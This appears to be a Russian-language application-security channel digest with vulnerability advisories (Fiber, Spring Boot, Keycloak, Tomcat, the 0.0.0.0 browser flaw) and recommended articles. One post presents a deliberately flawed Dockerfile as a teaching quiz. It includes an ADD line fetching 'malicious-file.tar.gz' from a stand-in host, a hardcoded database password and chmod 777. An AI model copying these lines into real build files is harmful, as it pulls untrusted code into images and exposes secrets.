Session Fixation в библиотеке Fiber - CVSS 10.0!

На этой неделе был опубликован патч для Golang библиотеки Fiber, который исправляет уязвимость уровня критичности 10.0 - максимально возможного.

Описание: Session fixation - это уязвимость, которая возникает в том случае, если приложение некорректно контролирует способы создания и управления идентификаторами сессий. Наличие этой уязвимости может привести к тому, что злоумышленник сможет как красть чужие сессии, так и заставлять пользователя с привлечением социальной инженерии совершать какие-то подконтрольные злоумышленнику действия в собственном аккаунте. Так произошло в данном случае: злоумышленник получил возможность создавать свои собственные идентификаторы сессии, которые, при подстановке в правильные запросы, приводили к созданию валидной сессии с таким идентификатором.

Уязвимые версии: <= 2.52.4
Патч: 2.52.5
CVE: CVE-2024-38513
CVSS: 10.0

Перевалили за 1 биллион

На момент 6 июля 2024 года взломы, информация о которых уже доступна, по объему перевалили за 1 биллион записей.

В 2023 году эта отметка была достигнута к концу октября.

Cross-Site Request Forgery или зачем нужны CORS'ы

Попалась хорошая статья, рассказывающая про то, как правильно настроить CORS, и самое главное - почему это нужно.
Один из самых популярных вопросов на собеседованиях AppSec инженеров и практически обязательный вопрос в FAANG при собесе на позицию, подразумевающую Security Championship (по слухам от сотрудников на этих позициях).
https://www.devsecurely.com/blog/2024/06/cors-the-ultimate-guide

О том, почему нужно выставлять атрибут Charset, если используете Content-Type: text/html

Еще одна отличная статья, на этот раз - про то, как работают браузеры при отрисовке страниц, и почему некоторые на первый взгляд необязательные атрибуты лучше все-таки выставлять.
Уязвимости фронтэнда, на мой взгляд, и так всегда граничат с магией, но вот такие детали о работе браузеров знают не все, поэтому вероятность эксплуатации повышается. Рекомендую к прочтению, особенно с учетом того, что статьи от Sonatype обычно очень подробные, детальные и интересные
https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/
Encoding Differentials: Why Charset Matters
The absence of charset information seems to be a minor issue for a web application. This blog post explains why this is a false assumption and highlights the critical security implications.

Cheatsheet по SQL Injections

И как раз после митапа на работе, где мы раскручивали SQL инъекцию, попалась статья о том, почему мы делали это не совсем правильно. Классная шпаргалка по инъекциям, я очень рекомендую ее разработчикам еще и потому, что смотреть деструктивно на свой код тому, кто привык это делать конструктивно, зачастую непросто.

SQL Injection Cheatsheet

API Threat Landscape

API Threat Landscape
- очень страшная и интересная штука. Статистика взломов на основании разных типов уязвимостей API. Напрягает рост числа ближе к текущей дате. Прогнозы не очень приятные, но общий уровень напряженности должен расти

Безопасность разработки API


Попался абсолютно замечательный документ по безопасности API, включающий в себя такие разделы, как корректная работа с JWT, безопасное использование алгоритмов, безопасность паролей и токенов, реализация аутентификации и правильная реализация сброса пароля, а также специфические вещи, связанные со сдвигом безопасности влево в вопросах разработки API.

Особенно понравилось в документе уделение внимания тем моментам, которые обычно разработчики считают незначительными, вроде алгоритмов хэширования\шифрования, некорректное использование которых эксплуатируется гораздо проще и шире, чем кажется на первый взгляд. Авторы приводят еще и примеры корректных имплементаций для Java и .Net Core.

Очень рекомендую

`0.0.0.0` Day - суровая уязвимость в браузерах

Исследователи из Oligo обнаружили серьезную брешь в логике работы большинства браузеров (Chromium, Firefox, Safari). Уязвимость позволяет браузерам взаимодействовать с локальными приложениями (Linux/MacOS, Windows не затронуты) и, при некоторых усилиях и определенном стечении обстоятельств, ресурсами в локальной сети. Происходит это из-за того, что браузеры на этих системах позволяют использовать адрес 0.0.0.0 вместо localhost/127.0.0.1.

После сообщения об уязвимости браузеры ушли на доработку и обновленные версии уже должны блокировать fetch обращения на 0.0.0.0. Соответствующее RFC на добавление в стандарты безопасности уже в действии и браузеры буквально со дня на день выдадут критически важные обновления. На хром прилетело вчера. Интересный момент - уязвимость-то совсем не новая, и известно о ней было давно. Но именно публикация Oligo все-таки привела к пересмотру стандарта обработки адреса, что не может не радовать.

Проблема заключается в том, что за счет этой уязвимости возможно большое количество атак, а самым заметным (если не единственным легко заметным) признаком будет являться тот факт, что браузер пытается просканировать ваши порты. О схожей проблеме сообщалось еще в 2006 году, когда пользователь Firefox писал о том, что некие сайты атакуют его роутер.

Возможно, Вы скажете, что есть ведь CORS и если CORS настроены корректно, то эта ситуация не произойдет. Это было бы правдой, если бы не одна маленькая деталь - CORS полагаются на ответ сервера, т.е. браузер сперва делает запрос, потом ждет, что на это ответит запрашиваемый ресурс, а потом блокирует, если что-то идет не так. Но проблема в том, что для сканирования портов, например, достаточно только запроса, а необходимости в ответе, по большому счету, нет.

Забавное название дали уязимости - это игра слов, связанная с самим адресом и с так называемыми уязвимостями нулевого дня (zero-day или 0-day).

Поэтому единственное спасение - вовремя обновить браузер.

Подробнее об уязвимости можно почитать здесь

Классная статья про CSRF

Cross-Site Request Forgery - одна из самых противоречивых уязвимостей. Потому что все современные фреймворки умеют в нее из коробки, она все чаще и чаще эксплуатируется, но при этом разработчики упорно продолжают выключать ее на проектах. Происходит это, вероятно, потому что все примеры эксплуатации этой уязвимости, которые обычно рассматриваются, очень тупые и топорные и предполагают, что в GET запросе передаются платежные данные или какие-то запросы на действия. И первая мысль, когда про это читаешь - ну так же никто не делает. В норме - да, по факту - бывает. Но надо понимать, что разбирается обычно именно такой пример, чтобы донести суть. А на самом деле эксплуатация может быть куда более сложной и запутанной.

https://blog.intigriti.com/hacking-tools/csrf-a-complete-guide-to-exploiting-advanced-csrf-vulnerabilities - в статье приведен хороший разбор более вероятных способов эксплуатации из реального мира.

ReDoS - как одним словом положить бэк

Семейство Denial of Service уязвимостей довольно широкое, но обычно под ним подразумевают либо уязвимости ПО (чаще всего - обработки сетевых пакетов веб-серверами), решающиеся своевременным обновлением, либо Distributed Denial of Service, DDoS, защита от которого очень специфична.

О еще одном типе DоS'ов говорят реже - это DoS на основе регулярных выражений, его же зачастую относят к классу Self-атак. Это большая боль большинства интерпретируемых языков, но встречались подобные проблемы и в старых версиях Java, и в некоторых .net библиотеках.
Суть заключается в том, что злоумышленник может подсунуть "слово", которое при проверке по регулярному выражению приведет к построению очень глубокого дерева и к исчерпанию ресурсов. Короткая статья с объяснением.
Инструмент, проверяющий безопасность регулярки

форвардну в свой нереально огромный канал для истории. Буду спикером на KazHackStan, буду говорить, как всегда, про отношения и про то, что безопасность тоже не должна терять человеческое лицо и быть удобной к использованию

Татьяна Коршикова - DevSecOps инженер QazCode, энтузиаст AppSec-практик и любитель почитать чужой (уязвимый) код⚡️

Тема доклада: А про ИБ ли Appsec?
📍Главная сцена

Продать товар покупателю, который понимает, что он ему нужен, но категорически не хочет использовать - звучит сложно? А что если посмотреть на продуктовую безопасность со стороны разработки? Удастся ли нам убедить клиентов в том, что им это понравится?

Слушатели доклада смогут вместе с Татьяной обсудить на примере нескольких разных кейсов, как сегодня эффективно провернуть подобное в Казахстанском IT.

📆 11-13 сентября
📍 Rixos Almaty  

Вход: бесплатный
Обязательная регистрация на сайте 👉🏼 kazhackstan.com

Готовлю презентацию на OpenSysConf'24. В одном из разделов буду говорить про то, что анализировать можно не только код приложения, но и многие вещи рядом, например, Dockerfile. В качестве примера привожу вот такого красавчика, в котором прекрасно все. Его прообраз, кстати, взят из реальной практики, правда, на старте содержал 97 строк и был в гораздо более пугающей форме.

UPD. Я вижу здесь 10 проблем безопасности. Кто больше?)

FROM python:3.4

RUN apt-get update && apt-get install -y curl vim git gcc make

COPY . /app

RUN chmod -R 777 /app

ENV DB_PASSWORD=SuperSecretPassword123

EXPOSE 80 443 3306 5432

ADD https://example.com/malicious-file.tar.gz /app/

RUN pip install --no-cache-dir -r /app/requirements.txt

CMD ["python", "/app/app.py"]

Сложно разобраться со своим отношением к ситуации. Но в последнее время GitLab страшно зачастили с обновлениями. Не успели поставить апдейт на прошлой неделе, как на этой прилетает уже следующий, причем критический (Вот тут)

Но при этом у них фактически выполняется SLA на критикал апдейты меньше чем в семь дней.

Классическая проблема безопасности: что лучше - когда ее не видно и не слышно или когда каждую неделю апдейты систем прилетают.

Скоро выступаю на еще одной крутой конференции, на которую давно хотела попасть и не выходило. Поговорим про то, почему в Open(Secure)Source так важно присутствие Secure части и как ее обеспечить, если вы - начинающий контрибьютор. Хотя бы частично)

Path Traversal в Spring Boot - CVE-2024-38816
Приложения, отдающие статические ресурсы через WebMvc.fn или WebFlux.fn подвержены атаке типа Path Traversal. Атакующий может создать вредоносный HTTP запрос и получить любой файл в файловой системе, который доступен процессу, от имени которого запущено Spring приложение.

Приложение уязвимо, если выполнены ОБА следующих условия:
- приложение использует RouterFunctions для поставки статических ресурсов
- обработка ресурсво сконфигурирована так, что в качестве location используется FileSystemResource

Однако вредоносные запросы блокируются и отбиваются, если выполнено что-то из следующего:
- используется Spring Security HTTP Firewall
- приложение запущено на Tomcat или Jetty
Path Traversal - одна из самых простых в эксплуатации атак. И несмотря на обычно малый импакт, может привести к серьезному раскрытию данных.

CVSS(критичность): 7.5

Уязвимые версии: 5.3.0 - 5.3.39, 6.0.0 - 6.0.23, 6.1.0 - 6.1.12 и более старые неподдерживаемые версии

Патчи: 5.3.40, 6.0.24, 6.1.13

#pathtraversal #spring


Посыпаю голову пеплом - уязвимости уже пара недель и написать про нее было нужно давно, потому что про уязвимости непосредственно связанного с Java доводится писать редко. Не критичная сама по себе, может сыграть довольно плохую роль в цепочке развития атаки.

Сегодня пришлось поразбираться еще с одной около-Java уязвимостью - CVE-2024-8698, байпасс аутентификационного механизма SAML в популярном продукте Keycloak.

Уязвимости разного рода критичности в Keycloak обнаруживают регулярно и самой частой проблемой является Open Redirect, который служит хорошей основой для фишинга (и такая уязвимость на этой неделе на него тоже была опубликована, CVE-2024-8883). Но на этот раз более критичной оказалась проблема аутентификации при использовании SAML(Security Assertion Markup Language).

Уязвимость обнаружена в классе XMLSignatureUtil, который отвечает за проверку подписей SAML. Класс неправильно определяет, распространяется ли подпись на весь документ SAML или только на отдельные его части, основываясь исключительно на позиции подписи в структуре XML. Из-за этого специальным образом созданный запрос может заставить Keycloak пропустить важный элемент «Reference», который явно указывает, какая часть документа была подписана. Подробнее можно посмотреть в самом коде

Опубликованных PoC'ов нет, как и информации об эксплуатации, но и сама атака должна быть довольно специфической и технически сложной. Однако высокий CVSS в 7.7 свидетельствует о том, что игнорировать ее все же не стоит.

CVE-2024-38286 - OutOfMemoryError в Tomcat

Java-продуктам досталось за последние пару-тройку недель.

В Tomcat было обнаружено две уязвимости, потенциально приводящих к Denial of Service и проявляющихся в виде OutOfMemoryError падения, либо в исчерпании потоков работы с HTTP/2 за счет незакрытия соединений.
OutOfMemoryError связан с некорректной обработкой TLS handshake, патч добавляет константу HANDSHAKE_WRAP_QUEUE_LENGTH_LIMIT и проверяет состояние очереди на непреодоление ее значения.

Проблема в том, что зачастую уязвимости типа OutOfMemoryError (и в принципе многие уязвимости, связанные с переполнением) далее раскручиваются и приводят к удаленному исполнению кода. Неизвестно, будет ли так в этом случае, но даже падение сервера с одного хэндшейка - уже история неприятная.

CVSS(критичность): 7.5

Уязвимые версии: Apache Tomcat 11.0.0-M1 - 11.0.0-M20, 10.1.0-M1 to 10.1.24, 9.0.13 to 9.0.89

Патчи: 11.0.0-M21, 10.1.25, 9.0.90